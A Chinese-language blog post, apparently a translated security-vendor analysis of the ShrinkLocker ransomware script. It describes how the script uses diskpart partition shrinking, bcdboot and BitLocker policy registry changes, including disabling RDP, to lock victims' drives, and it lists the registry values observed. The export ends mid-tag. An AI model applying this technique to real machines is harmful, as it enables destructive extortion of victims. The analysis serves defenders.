{"id":3963,"date":"2024-05-24T20:37:58","date_gmt":"2024-05-24T12:37:58","guid":{"rendered":"https:\/\/www.aqwu.net\/wp\/?p=3963"},"modified":"2024-05-24T20:38:22","modified_gmt":"2024-05-24T12:38:22","slug":"shrinklocker%ef%bc%9a%e5%b0%86-bitlocker-%e5%8f%98%e6%88%90%e5%8b%92%e7%b4%a2%e8%bd%af%e4%bb%b6","status":"publish","type":"post","link":"https:\/\/www.aqwu.net\/wp\/?p=3963","title":{"rendered":"ShrinkLocker\uff1a\u5c06 BitLocker \u53d8\u6210\u52d2\u7d22\u8f6f\u4ef6"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\" id=\"introduction\">\u4ecb\u7ecd<\/h2>\n\n\n\n<p>\u653b\u51fb\u8005\u603b\u80fd\u627e\u5230\u521b\u9020\u6027\u7684\u65b9\u6cd5\u6765\u7ed5\u8fc7\u9632\u5fa1\u529f\u80fd\u5e76\u5b9e\u73b0\u4ed6\u4eec\u7684\u76ee\u6807\u3002\u8fd9\u53ef\u4ee5\u901a\u8fc7\u6253\u5305\u5668\u3001\u52a0\u5bc6\u5668\u548c\u4ee3\u7801\u6df7\u6dc6\u6765\u5b8c\u6210\u3002\u4f46\u662f\uff0c\u9003\u907f\u68c0\u6d4b\u4ee5\u53ca\u6700\u5927\u9650\u5ea6\u5730\u63d0\u9ad8\u517c\u5bb9\u6027\u7684\u6700\u4f73\u65b9\u6cd5\u4e4b\u4e00\u662f\u4f7f\u7528\u64cd\u4f5c\u7cfb\u7edf\u81ea\u5df1\u7684\u529f\u80fd\u3002\u5728\u52d2\u7d22\u8f6f\u4ef6\u5a01\u80c1\u7684\u4e0a\u4e0b\u6587\u4e2d\uff0c\u4e00\u4e2a\u503c\u5f97\u6ce8\u610f\u7684\u793a\u4f8b\u662f\u5229\u7528\u52a0\u5bc6 DLL&nbsp;<strong>ADVAPI32.dll<\/strong>\u4e2d\u5b58\u5728\u7684\u5bfc\u51fa\u51fd\u6570\uff0c\u4f8b\u5982&nbsp;<strong>CryptAcquireContextA<\/strong>\u3001<strong>CryptEncrypt<\/strong>&nbsp;\u548c&nbsp;<strong>CryptDecrypt<\/strong>\u3002\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u786e\u4fdd\u6076\u610f\u8f6f\u4ef6\u53ef\u4ee5\u5728\u652f\u6301\u6b64 DLL \u7684\u5404\u79cd\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\u4e2d\u8fd0\u884c\u548c\u6a21\u62df\u6b63\u5e38\u884c\u4e3a\u3002<\/p>\n\n\n\n<p>\u5c3d\u7ba1\u8fd9\u770b\u8d77\u6765\u5f88\u806a\u660e\uff0c\u4f46\u5728\u6700\u8fd1\u7684\u4e8b\u4ef6\u54cd\u5e94\u6d3b\u52a8\u4e2d\uff0c\u53e6\u4e00\u79cd\u806a\u660e\u7684\u6280\u672f\u5f15\u8d77\u4e86\u6211\u4eec\u7684\u6ce8\u610f\uff1a\u4f7f\u7528\u672c\u673a BitLocker \u529f\u80fd\u52a0\u5bc6\u6574\u4e2a\u5377\u5e76\u7a83\u53d6\u89e3\u5bc6\u5bc6\u94a5\u3002BitLocker \u7684\u6700\u521d\u76ee\u7684\u662f\u89e3\u51b3\u4e22\u5931\u3001\u88ab\u76d7\u6216\u4e0d\u5f53\u505c\u7528\u8bbe\u5907\u5bfc\u81f4\u7684\u6570\u636e\u88ab\u76d7\u6216\u66b4\u9732\u7684\u98ce\u9669\u3002\u5c3d\u7ba1\u5982\u6b64\uff0c\u5a01\u80c1\u884c\u4e3a\u8005\u5df2\u7ecf\u53d1\u73b0\uff0c\u8fd9\u79cd\u673a\u5236\u53ef\u4ee5\u91cd\u65b0\u7528\u4e8e\u6076\u610f\u76ee\u7684\uff0c\u4ece\u800c\u4ea7\u751f\u5de8\u5927\u7684\u6548\u679c\u3002<\/p>\n\n\n\n<p>\u5728\u8be5\u4e8b\u4ef6\u4e2d\uff0c\u653b\u51fb\u8005\u80fd\u591f\u90e8\u7f72\u5e76\u8fd0\u884c\u9ad8\u7ea7 VBS \u811a\u672c\uff0c\u8be5\u811a\u672c\u5229\u7528 BitLocker \u8fdb\u884c\u672a\u7ecf\u6388\u6743\u7684\u6587\u4ef6\u52a0\u5bc6\u3002\u6211\u4eec\u5728\u58a8\u897f\u54e5\u3001\u5370\u5ea6\u5c3c\u897f\u4e9a\u548c\u7ea6\u65e6\u53d1\u73b0\u4e86\u8fd9\u4e2a\u811a\u672c\u53ca\u5176\u4fee\u6539\u7248\u672c\u3002\u5728\u4ee5\u4e0b\u5404\u8282\u4e2d\uff0c\u6211\u4eec\u5c06\u8be6\u7ec6\u5206\u6790\u5728\u4e8b\u4ef6\u54cd\u5e94\u5de5\u4f5c\u671f\u95f4\u83b7\u5f97\u7684\u6076\u610f\u4ee3\u7801\uff0c\u5e76\u63d0\u4f9b\u7f13\u89e3\u6b64\u7c7b\u5a01\u80c1\u7684\u63d0\u793a\u3002<\/p>\n\n\n\n<p>\u8fd9\u4e0d\u662f\u6211\u4eec\u7b2c\u4e00\u6b21\u770b\u5230BitLocker\u7528\u4e8e\u52a0\u5bc6\u9a71\u52a8\u5668\u5e76\u8981\u6c42\u8d4e\u91d1\u3002\u4ee5\u524d\uff0c\u653b\u51fb\u8005<a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2022\/09\/07\/profiling-dev-0270-phosphorus-ransomware-operations\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u4f7f\u7528\u8fc7\u6b64 Microsoft \u5b9e\u7528\u7a0b\u5e8f<\/a>\u5728\u8bbf\u95ee\u548c\u63a7\u5236\u5173\u952e\u7cfb\u7edf\u540e\u5bf9\u5176\u8fdb\u884c\u52a0\u5bc6\u3002\u7136\u800c\uff0c\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u5bf9\u624b\u91c7\u53d6\u4e86\u989d\u5916\u7684\u63aa\u65bd\u6765\u6700\u5927\u9650\u5ea6\u5730\u6269\u5927\u653b\u51fb\u9020\u6210\u7684\u635f\u5bb3\uff0c\u5e76\u963b\u788d\u5bf9\u4e8b\u4ef6\u7684\u6709\u6548\u53cd\u5e94\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"vbscript-analysis\">VBScript \u5206\u6790<\/h2>\n\n\n\n<p>\u4e00\u4e2a\u6709\u8da3\u7684\u4e8b\u5b9e\u662f\uff0c\u653b\u51fb\u8005\u5e76\u6ca1\u6709\u50cf\u5a01\u80c1\u884c\u4e3a\u8005\u901a\u5e38\u90a3\u6837\u8d39\u5fc3\u6df7\u6dc6\u5927\u90e8\u5206\u4ee3\u7801\u3002\u5bf9\u6b64\u6700\u5408\u7406\u7684\u89e3\u91ca\u662f\uff0c\u5728\u6267\u884c\u811a\u672c\u65f6\uff0c\u4ed6\u4eec\u5df2\u7ecf\u5b8c\u5168\u63a7\u5236\u4e86\u76ee\u6807\u7cfb\u7edf\u3002\u5b83\u4f5c\u4e3a&nbsp;<strong>Disk.vbs&nbsp;<\/strong>\u5b58\u50a8\u5728&nbsp;<strong>C\uff1a\\ProgramData\\Microsoft\\Windows\\Templates\\<\/strong>&nbsp;\u4e2d\u3002\u5b83\u7684\u7b2c\u4e00\u884c\u5305\u542b\u4e00\u4e2a\u51fd\u6570\uff0c\u8be5\u51fd\u6570\u4f7f\u7528 ADODB \u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5176\u4e8c\u8fdb\u5236\u8868\u793a<strong>\u5f62\u5f0f\u3002Stream<\/strong>&nbsp;\u5bf9\u8c61\u3002\u6b64\u51fd\u6570\u7a0d\u540e\u7528\u4e8e\u5bf9\u8981\u5728 HTTP POST \u8bf7\u6c42\u4e2d\u53d1\u9001\u7684\u6570\u636e\u8fdb\u884c\u7f16\u7801\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"807\" height=\"502\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-32.png\" alt=\"\" class=\"wp-image-3964\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-32.png 807w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-32-300x187.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-32-768x478.png 768w\" sizes=\"auto, (max-width: 807px) 100vw, 807px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center\"><em>Stream_StringToBinary\u529f\u80fd<\/em><\/p>\n\n\n\n<p>\u811a\u672c\u7684\u4e3b\u8981\u529f\u80fd\u7684\u7b2c\u4e00\u6b65\u662f\u4f7f\u7528 Windows Management Instrumentation \uff08WMI\uff09 \u5728\u00a0<strong>Win32_OperatingSystem<\/strong>\u00a0\u7c7b\u7684\u5e2e\u52a9\u4e0b\u67e5\u8be2\u6709\u5173\u64cd\u4f5c\u7cfb\u7edf\u7684\u4fe1\u606f\u3002\u5bf9\u4e8e\u67e5\u8be2\u7ed3\u679c\u4e2d\u7684\u6bcf\u4e2a\u5bf9\u8c61\uff0c\u811a\u672c\u5c06\u68c0\u67e5\u5f53\u524d\u57df\u662f\u5426\u4e0e\u76ee\u6807\u4e0d\u540c\u3002\u5982\u679c\u662f\uff0c\u811a\u672c\u5c06\u81ea\u52a8\u5b8c\u6210\u3002\u4e4b\u540e\uff0c\u5b83\u4f1a\u68c0\u67e5\u64cd\u4f5c\u7cfb\u7edf\u7684\u540d\u79f0\u662f\u5426\u5305\u542b\u201cxp\u201d\u3001\u201c2000\u201d\u3001\u201c2003\u201d\u6216\u201cvista\u201d\uff0c\u5982\u679c Windows \u7248\u672c\u4e0e\u5176\u4e2d\u4efb\u4f55\u4e00\u4e2a\u5339\u914d\uff0c\u5219\u811a\u672c\u4f1a\u81ea\u52a8\u5b8c\u6210\u5e76\u81ea\u884c\u5220\u9664\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"277\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-33-1024x277.png\" alt=\"\" class=\"wp-image-3965\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-33-1024x277.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-33-300x81.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-33-768x208.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-33.png 1488w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center\"><em>\u6267\u884c\u7684\u521d\u59cb\u6761\u4ef6<\/em><\/p>\n\n\n\n<p>\u4e4b\u540e\uff0c\u811a\u672c\u7ee7\u7eed\u4f9d\u8d56 WMI \u6765\u67e5\u8be2\u6709\u5173\u64cd\u4f5c\u7cfb\u7edf\u7684\u4fe1\u606f\u3002\u7136\u540e\uff0c\u5b83\u6267\u884c\u78c1\u76d8\u5927\u5c0f\u8c03\u6574\u64cd\u4f5c\uff0c\u8be5\u64cd\u4f5c\u53ef\u80fd\u56e0\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\u68c0\u67e5\u7684\u7ed3\u679c\u800c\u5f02\u3002\u8fd9\u4e9b\u64cd\u4f5c\u4ec5\u5728\u56fa\u5b9a\u9a71\u52a8\u5668 \uff08<strong>DriveType = 3<\/strong>\uff09 \u4e0a\u6267\u884c\u3002\u6587\u4ef6\u7cfb\u7edf\u4e2d\u901a\u5e38\u5b58\u5728\u4ee5\u4e0b\u9a71\u52a8\u5668\u7c7b\u578b\uff1a<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:ps decode:true \" >\u4e4b\u540e\uff0c\u811a\u672c\u7ee7\u7eed\u4f9d\u8d56 WMI \u6765\u67e5\u8be2\u6709\u5173\u64cd\u4f5c\u7cfb\u7edf\u7684\u4fe1\u606f\u3002\u7136\u540e\uff0c\u5b83\u6267\u884c\u78c1\u76d8\u5927\u5c0f\u8c03\u6574\u64cd\u4f5c\uff0c\u8be5\u64cd\u4f5c\u53ef\u80fd\u56e0\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\u68c0\u67e5\u7684\u7ed3\u679c\u800c\u5f02\u3002\u8fd9\u4e9b\u64cd\u4f5c\u4ec5\u5728\u56fa\u5b9a\u9a71\u52a8\u5668 \uff08DriveType = 3\uff09 \u4e0a\u6267\u884c\u3002\u6587\u4ef6\u7cfb\u7edf\u4e2d\u901a\u5e38\u5b58\u5728\u4ee5\u4e0b\u9a71\u52a8\u5668\u7c7b\u578b\uff1a\n\n$DriveType_map = @{\n0 = 'Unknown'\n1 = 'No Root Directory'\n2 = 'Removable Disk'\n3 = 'Local Disk' \uf0df This is the DriveType searched by the malware.\n4 = 'Network Drive'\n5 = 'Compact Disc'\n6 = 'RAM Disk'\n}\n<\/pre><\/div>\n\n\n\n<p>\u6076\u610f\u8f6f\u4ef6\u4e0d\u5c1d\u8bd5\u5728\u7f51\u7edc\u9a71\u52a8\u5668 \uff08DriveType = 4\uff09 \u4e0a\u6267\u884c\u76f8\u540c\u64cd\u4f5c\u7684\u53ef\u80fd\u539f\u56e0\u662f\u4e3a\u4e86\u907f\u514d\u89e6\u53d1\u7f51\u7edc\u4e0a\u7684\u68c0\u6d4b\u5de5\u5177\u3002<\/p>\n\n\n\n<p>\u82e5\u8981\u5728 Windows Server 2008 \u6216 2012 \u4e2d\u8c03\u6574\u672c\u5730\u9a71\u52a8\u5668\u7684\u5927\u5c0f\uff0c\u8be5\u811a\u672c\u4f1a\u68c0\u67e5\u4e3b\u542f\u52a8\u5206\u533a\u5e76\u4fdd\u5b58\u6b64\u4fe1\u606f\u3002\u5b83\u4fdd\u5b58\u4e0d\u540c\u5206\u533a\u7684\u7d22\u5f15\uff0c\u7136\u540e\u4f7f\u7528&nbsp;<strong>diskpart<\/strong>&nbsp;\u6267\u884c\u4ee5\u4e0b\u64cd\u4f5c\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5c06\u6bcf\u4e2a\u975e\u5f15\u5bfc\u5206\u533a\u7684\u5927\u5c0f\u7f29\u5c0f 100 MB\u3002\u8fd9\u5c06\u5728\u6bcf\u4e2a\u5206\u533a\u4e2d\u521b\u5efa 100 MB \u7684\u672a\u5206\u914d\u7a7a\u95f4\uff0c\u800c\u4e0d\u662f\u5f15\u5bfc\u5377;<\/li>\n\n\n\n<li>\u5c06\u672a\u5206\u914d\u7684\u7a7a\u95f4\u62c6\u5206\u4e3a\u65b0\u7684 100 MB \u4e3b\u5206\u533a;<\/li>\n\n\n\n<li>\u4f7f\u7528\u8986\u76d6\u9009\u9879\u683c\u5f0f\u5316\u5206\u533a\uff0c\u8be5\u9009\u9879\u4f1a\u5f3a\u5236\u5377\u5728\u5fc5\u8981\u65f6\u9996\u5148\u5378\u9664\uff0c\u5e76\u4e3a\u6bcf\u4e2a\u5206\u533a\u5206\u914d\u4e00\u4e2a\u6587\u4ef6\u7cfb\u7edf\u548c\u4e00\u4e2a\u9a71\u52a8\u5668\u53f7;<\/li>\n\n\n\n<li>\u6fc0\u6d3b\u5206\u533a;<\/li>\n\n\n\n<li>\u5982\u679c\u6536\u7f29\u8fc7\u7a0b\u6210\u529f\uff0c\u8bf7\u5c06\u201cok\u201d\u53e6\u5b58\u4e3a\u53d8\u91cf\uff0c\u4ee5\u4fbf\u811a\u672c\u53ef\u4ee5\u7ee7\u7eed\u3002<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"412\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-34-1024x412.png\" alt=\"\" class=\"wp-image-3966\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-34-1024x412.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-34-300x121.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-34-768x309.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-34.png 1464w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center\"><em>\u811a\u672c\u5728 Windows Server 2008 \u548c 2012 \u4e2d\u6267\u884c\u7684\u78c1\u76d8\u5927\u5c0f\u8c03\u6574\u64cd\u4f5c<\/em><\/p>\n\n\n\n<p>\u5982\u679c\u64cd\u4f5c\u6210\u529f\uff0c\u5219\u4ee3\u7801\u5c06\u4f7f\u7528\u5b9e\u7528\u7a0b\u5e8f\u00a0<strong>bcdboot<\/strong>\u00a0\u548c\u4ee5\u524d\u4fdd\u5b58\u4e3a\u542f\u52a8\u5377\u7684\u9a71\u52a8\u5668\u53f7\u5728\u65b0\u7684\u4e3b\u5206\u533a\u4e0a\u91cd\u65b0\u5b89\u88c5\u542f\u52a8\u6587\u4ef6\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"389\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-35-1024x389.png\" alt=\"\" class=\"wp-image-3967\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-35-1024x389.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-35-300x114.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-35-768x292.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-35.png 1336w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center\"><em>\u5f15\u5bfc\u6587\u4ef6\u91cd\u65b0\u5b89\u88c5<\/em><\/p>\n\n\n\n<p>\u5176\u4ed6\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\u7684\u5206\u533a\u6536\u7f29\u64cd\u4f5c\u7c7b\u4f3c\uff0c\u4f46\u51fa\u4e8e\u517c\u5bb9\u6027\u539f\u56e0\uff0c\u4f7f\u7528\u4e0d\u540c\u7684\u4ee3\u7801\u6bb5\u5b9e\u73b0\u3002\u4e0b\u9762\u7684\u793a\u4f8b\u663e\u793a\u4e86\u5e94\u7528\u4e8e Windows \u7248\u672c 7\u30018 \u548c 8.1 \u7684\u8fc7\u7a0b\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"445\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-36-1024x445.png\" alt=\"\" class=\"wp-image-3968\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-36-1024x445.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-36-300x130.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-36-768x334.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-36.png 1491w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center\"><em>Windows \u7248\u672c 7\u30018 \u6216 8.1 \u4e2d\u7684\u78c1\u76d8\u5927\u5c0f\u8c03\u6574\u64cd\u4f5c<\/em><\/p>\n\n\n\n<p>\u5bf9\u4e8e Windows 2008 \u6216 Windows 7\uff0c\u5728\u5206\u533a\u6536\u7f29\u8fc7\u7a0b\u5b8c\u6210\u540e\uff0c\u53d8\u91cf\u00a0<strong>matchedDrives<\/strong>\u00a0\u4f1a\u4fdd\u5b58\u4ee5\u9017\u53f7\u5206\u9694\u7684\u9a71\u52a8\u5668\u53f7\uff0c\u4f46\u524d\u63d0\u662f\u6587\u4ef6\u7cfb\u7edf\u662f NFTS\u3001exFAT\u3001FAT32\u3001ReFS \u6216 FAT\u3002\u4fee\u6539\u4e86\u4ee3\u7801\u4ee5\u6253\u5370\u793a\u4f8b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"115\" height=\"131\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-37.png\" alt=\"\" class=\"wp-image-3969\"\/><\/figure>\n\n\n\n<p>\u7136\u540e\uff0c\u8be5\u811a\u672c\u5c06\u6dfb\u52a0\u4ee5\u4e0b\u6ce8\u518c\u8868\u9879\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>fDenyTSConnections = 1\uff1a\u7981\u7528 RDP \u8fde\u63a5;<\/li>\n\n\n\n<li>scforceoption = 1\uff1a\u5f3a\u5236\u6267\u884c\u667a\u80fd\u5361\u8eab\u4efd\u9a8c\u8bc1;<\/li>\n\n\n\n<li>UseAdvancedStartup = 1\uff1a\u9700\u8981\u4f7f\u7528 BitLocker PIN \u8fdb\u884c\u9884\u542f\u52a8\u8eab\u4efd\u9a8c\u8bc1;<\/li>\n\n\n\n<li>EnableBDEWithNoTPM = 1\uff1a\u5141\u8bb8\u6ca1\u6709\u517c\u5bb9 TPM \u82af\u7247\u7684 BitLocker;<\/li>\n\n\n\n<li>UseTPM = 2\uff1a\u5141\u8bb8\u4f7f\u7528 TPM\uff08\u5982\u679c\u53ef\u7528\uff09;<\/li>\n\n\n\n<li>UseTPMPIN = 2\uff1a\u5141\u8bb8\u5c06\u542f\u52a8 PIN \u4e0e TPM \u4e00\u8d77\u4f7f\u7528\uff08\u5982\u679c\u53ef\u7528\uff09;<\/li>\n\n\n\n<li>UseTPMKey = 2\uff1a\u5141\u8bb8\u5c06\u542f\u52a8\u5bc6\u94a5\u4e0e TPM \u4e00\u8d77\u4f7f\u7528\uff08\u5982\u679c\u53ef\u7528\uff09;<\/li>\n\n\n\n<li>UseTPMKeyPIN = 2\uff1a\u5141\u8bb8\u5c06\u542f\u52a8\u5bc6\u94a5\u548c PIN \u4e0e TPM \u4e00\u8d77\u4f7f\u7528\uff08\u5982\u679c\u53ef\u7528\uff09;<\/li>\n\n\n\n<li>EnableNonTPM = 1\uff1a\u5141\u8bb8\u6ca1\u6709\u517c\u5bb9 TPM \u82af\u7247\u7684 BitLocker\uff0c\u9700\u8981 USB \u95ea\u5b58\u9a71\u52a8\u5668\u4e0a\u7684\u5bc6\u7801\u6216\u542f\u52a8\u5bc6\u94a5;<\/li>\n\n\n\n<li>UsePartialEncryptionKey = 2\uff1a\u9700\u8981\u5c06\u542f\u52a8\u5bc6\u94a5\u4e0e TPM \u4e00\u8d77\u4f7f\u7528;<\/li>\n\n\n\n<li>UsePIN = 2\uff1a\u9700\u8981\u5c06\u542f\u52a8 PIN \u4e0e TPM \u4e00\u8d77\u4f7f\u7528\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u5982\u679c\u811a\u672c\u68c0\u6d4b\u5230\u9519\u8bef\uff0c\u5b83\u5c06\u91cd\u65b0\u542f\u52a8\u7cfb\u7edf\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"442\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-38-1024x442.png\" alt=\"\" class=\"wp-image-3970\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-38-1024x442.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-38-300x129.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-38-768x331.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-38.png 1425w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center\"><em>\u6ce8\u518c\u8868\u4fee\u6539<\/em><\/p>\n\n\n\n<p>\u901a\u8fc7\u52a8\u6001\u5206\u6790\u6076\u610f\u8f6f\u4ef6\uff0c\u6211\u4eec\u53ef\u4ee5\u786e\u8ba4\u6267\u884c\u7684\u6ce8\u518c\u8868\u66f4\u6539\uff1a<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:ps decode:true \" >HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\\UseTPMPIN: 0x00000002\nHKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\\UseTPMKey: 0x00000002\nHKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\\UseTPMKeyPIN: 0x00000002\nHKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\\EnableNonTPM: 0x00000001\nHKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\\UsePartialEncryptionKey: 0x00000002\nHKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\\UsePIN: 0x00000002\nHKLM\\SOFTWARE\\WOW6432Node\\Policies\\Microsoft\\FVE\\UseAdvancedStartup: 0x00000001\nHKLM\\SOFTWARE\\WOW6432Node\\Policies\\Microsoft\\FVE\\EnableBDEWithNoTPM: 0x00000001\nHKLM\\SOFTWARE\\WOW6432Node\\Policies\\Microsoft\\FVE\\UseTPM: 0x00000002\nHKLM\\SOFTWARE\\WOW6432Node\\Policies\\Microsoft\\FVE\\UseTPMPIN: 0x00000002\nHKLM\\SOFTWARE\\WOW6432Node\\Policies\\Microsoft\\FVE\\UseTPMKey: 0x00000002\nHKLM\\SOFTWARE\\WOW6432Node\\Policies\\Microsoft\\FVE\\UseTPMKeyPIN: 0x00000002\nHKLM\\SOFTWARE\\WOW6432Node\\Policies\\Microsoft\\FVE\\EnableNonTPM: 0x00000001\nHKLM\\SOFTWARE\\WOW6432Node\\Policies\\Microsoft\\FVE\\UsePartialEncryptionKey: 0x00000002\nHKLM\\SOFTWARE\\WOW6432Node\\Policies\\Microsoft\\FVE\\UsePIN: 0x00000002<\/pre><\/div>\n\n\n\n<p>\u6709\u8da3\u7684\u662f\uff0c\u6709\u51e0\u4e2a\u51fd\u6570\u6267\u884c\u8fd9\u4e9b\u64cd\u4f5c\uff0c\u6bcf\u4e2a\u51fd\u6570\u90fd\u662f\u4e3a\u4e0d\u540c\u7248\u672c\u7684 Windows \u8bbe\u8ba1\u7684\u3002\u5728\u67d0\u4e9b\u6761\u4ef6\u4e2d\uff0c\u5b83\u901a\u8fc7\u8fdc\u7a0b\u670d\u52a1\u5668\u7ba1\u7406\u5de5\u5177\u7684 ID 266 \u68c0\u67e5 BitLocker \u9a71\u52a8\u5668\u52a0\u5bc6\u5de5\u5177\u662f\u5426\u5904\u4e8e\u6d3b\u52a8\u72b6\u6001\u3002\u7136\u540e\uff0c\u6076\u610f\u8f6f\u4ef6\u68c0\u67e5 BitLocker \u9a71\u52a8\u5668\u52a0\u5bc6\u670d\u52a1 \uff08BDESVC\uff09 \u662f\u5426\u6b63\u5728\u8fd0\u884c\u3002\u5982\u679c\u6ca1\u6709\uff0c\u5b83\u5c06\u542f\u52a8\u670d\u52a1\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"238\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-39-1024x238.png\" alt=\"\" class=\"wp-image-3971\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-39-1024x238.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-39-300x70.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-39-768x179.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-39.png 1329w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22153723\/Bitlocker_abuse_08.png\"><\/a><\/p>\n\n\n\n<p id=\"caption-attachment-112652\">BDESVC\u9a8c\u8bc1<\/p>\n\n\n\n<p>\u8be5\u811a\u672c\u8fd8\u4f1a\u5c06\u65b0\u542f\u52a8\u5206\u533a\u7684\u6807\u7b7e\u66f4\u6539\u4e3a\u653b\u51fb\u8005\u7684\u7535\u5b50\u90ae\u4ef6\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u4ee5\u4fbf\u53d7\u5bb3\u8005\u53ef\u4ee5\u8054\u7cfb\u4ed6\u4eec\u3002<\/p>\n\n\n\n<p><a 